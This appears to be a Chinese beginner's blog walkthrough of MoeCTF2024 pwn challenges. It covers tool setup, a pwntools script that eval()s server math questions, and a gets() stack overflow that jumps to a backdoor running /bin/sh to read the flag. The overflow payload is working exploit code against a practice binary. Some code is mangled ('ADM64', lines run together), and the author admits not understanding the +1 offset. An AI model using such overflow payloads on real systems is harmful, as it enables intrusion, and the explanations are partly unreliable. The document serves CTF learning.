*最后更新时间:2025-01-21 10:17:43 星期二
*
零、前言
本篇文章是我个人从0开始打pwn的真实 坐牢 做题经验,包含了大量的参考链接和个人思考,绝大多数题目来自MoeCTF2024(https://ctf.xidian.edu.cn/)
本文默认你有以下基础:
- python3
- 会装虚拟机+基本的Linux操作
- C语言
一、如何找题目来打 && 基础环境配置
1、在哪里找题目来打
题目来自MoeCTF2024(https://ctf.xidian.edu.cn/)
2. 基础环境配置
win宿主机软件:
-
IDA por (用于反编译)
-
VMware (开虚拟机)
安装Ubuntu 20.4(别装错版本了,装错了本地打不通的) -
VScode (用于编写代码)
VScode 免密ssh连接虚拟机教程:https://www.cnblogs.com/sakura-yuki/p/18532050
虚拟机软件
- 安装基础环境
- vim (文本编辑器)
- git (下载github用)
- ROPgadget (查找传参工具)
- python3-pip (安装python包)
- gdb-multiarch (动态调试用)
- pwntools (打pwn用)
- pwndbg (gdb调试插件)
- peda (gdb调试插件)
- gef (gdb调试插件)
教程:https://www.cnblogs.com/LY613313/p/16180458.html
一键安装gdb调试插件教程:https://www.cnblogs.com/dotExp/p/15514734.html
建议按照本文的顺序来打,因为他的题目难度顺序是乱的
二、让我们开始做题吧!(在此签到)
第一个是一个签到,下载下来好好看比赛是如何打的
三、NC?启动!(二进制入门指北)
一样的,下载好附件后看完
有没有发现题目多了个在线环境
?我当初也卡在这里了,正确做法是:
安装后打开WebSocketReflectorX
之后每一次打题目只需要:
选择和你虚拟机同一网段的,不然等会在虚拟机做不了题(什么,你不知道什么是网段?)
输入ip a
图中192.168.112.130是虚拟机ip,所以选192.168.112.1
这个就是等会要用的nc连接
接下来在虚拟机内:(注意空格!)
nc 192.168.112.1 53680
拿到第二个flag(第一个在签到)
四、让我们做数学题 (NotEnoughTime)
建议按照本文的顺序来打,因为他的题目难度顺序是乱的
老规矩,上nc
做着做着发现不太对劲,这个想必要用程序来写
pwntool教程:https://www.cnblogs.com/XiDP0/p/18445564
现在让我们来写个脚本
from pwn import *
# 用于设置上下文,别问有什么作用,写上,特别是'debug'一定要写
context(arch='amd64',os='linux',log_level='debug')
# 连接远程
io = remote('192.168.112.1',14758)# 前两个是固定的,略过
io.sendafter(b"=",b"2\n")
io.sendafter(b"=", b"0\n")
io.recvuntil(b"PREPARED!\n")# 开始做题
while True:data = io.recvuntil(delims=b"=",timeout=5)#去除等号data = data[:-1].decode()#去除空格、换行,把除法换成整除data = data.replace('/', '//')data = data.replace(' ', '')data = data.replace('\n', '')#检查时候匹配print("接受到了",data)#使用eval对算式进行运算a = eval(data)print("运算后",a)#发送到程序io.sendline(str(a))
接下来是我遇到的一些陷阱
字节串和字符串
这一节十分重要,因为程序发送和接受的都是字节而不是字符!!!
字节串教程:https://www.cnblogs.com/springsnow/p/13174511.html
为什么要设置“debug”
context(arch='amd64',os='linux',log_level='debug')
设置前:
设置后:
为什么要把除法换成整除
因为在C语言中,4/3 = 1 ,在python中4/3=1.333333333,我们要模仿题目的行为(即:题目用C写的,我们也要用python去模仿C)
五、要、要溢出来了(no_more_gets)
下载文件在IDA打开,一路确定
找到main函数
按TAB(或者F5),我个人更喜欢TAB
要是字体太小右键->字体->字号调大
ok,让我们来观察题目
发现了一堆不认识的函数,可以在函数上双击点进去看,也可以直接必应搜索函数定义
init(argc, argv, envp);
用于初始化程序
arc4random_buf(s1, 80LL);
用于生成80
个随机字符存放在s1中(注意80LL
这个数,等一下你就知道为什么了)
write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL);
向标准输出1
(这里是shell),写入 "This is my own shell, enter the password or get out.\n"
,写入长度0x36uLL
(注意0x36uLL
,长度是0x36
,换算为十进制就是54
)
gets(s2);
从标准输入中读入数据到s2
strncmp(s1, s2, 0x50uLL)
把s1
和s2
前0x50
个字节进行比较,如果一样返回0,否则返回一个其他数
my_shell()
程序预留后门
system("/bin/sh")
执行/bin/sh
,这就是目标了
主要的漏洞函数在:gets(s2);
这个不会管s2
边界的,写多少就是多少,会造成越界
(我知道你已经开始懵逼了,来吧,先看看教程吧)
ELF文件教程:
https://www.cnblogs.com/gongxianjin/p/16906719.html
ELF文件加载到内存:
https://zhuanlan.zhihu.com/p/287863861
ELF文件执行流程教程:
https://www.cnblogs.com/lianyihong/p/17911643.html
https://blog.csdn.net/hunter___/article/details/82906540
ELF文件在内存中的布局:
https://cloud.tencent.com/developer/article/2058294
https://cloud.tencent.com/developer/article/2083614
Liunx内存布局:
https://www.cnblogs.com/courage129/p/14231781.html
https://www.cnblogs.com/clover-toeic/p/3754433.html
进程的执行
https://www.cnblogs.com/yxysuanfa/p/7124432.html
QAQ,的确很多很难,但是加油啃吧
那我们,,,继续?
首先先把下载下来的文件丢到虚拟机里,在保存文件处打开终端,输入
#lockedshell为题目文件名称
# 这条命令的意思是允许文件运行
chmod +x ./lockedshell
接下来写以下代码,直接运行看保护信息:
from pwn import *
context(arch='i386', os='linux', log_level='debug')io = process('./lockedshell')
# io = remote('192.168.112.1',28440)
p = ELF('./lockedshell')io.interactive()
发现是64位ELF,修改代码为:
from pwn import *
context(arch='ADM64', os='linux', log_level='debug')io = process('./lockedshell')
# io = remote('192.168.112.1',28440)
p = ELF('./lockedshell')io.interactive()
打开ida查看栈图
我们发现:s2
距离返回指针(即r
)存放地方的有0x50+0x8
字节距离,我们只需要填充0x50+0x8
字节的垃圾数据,加上后门函数的地址就可以了(在IDA可以看到)
from pwn import *
context(arch='i386', os='linux', log_level='debug')# io = process('./lockedshell')
io = remote('192.168.112.1',28440)
p = ELF('./lockedshell')# 使用cyclic来生成垃圾数据,当然,用b'A'*(0x50+0x8)是一样的
#再利用p64(地址)来放入处理后的地址,至于为什么要+1可以看下文
paylod = cyclic(0x50+0x8) + p64(0x401176+1)
io.sendafter(b"out.\n",paylod)io.interactive()
进入交互模式后,多试试看几次ls,确认是否成功,然后
cat /flag
为什么要+1
说实在的我现在也不太理解,总之遇到方法正确打不通就试试看+1
为什么要用p64()
使用p64来把0x401176+1
处理为b'\x77\x11\x40\x00\x00\x00\x00\x00'
,机器只能识别后面一个。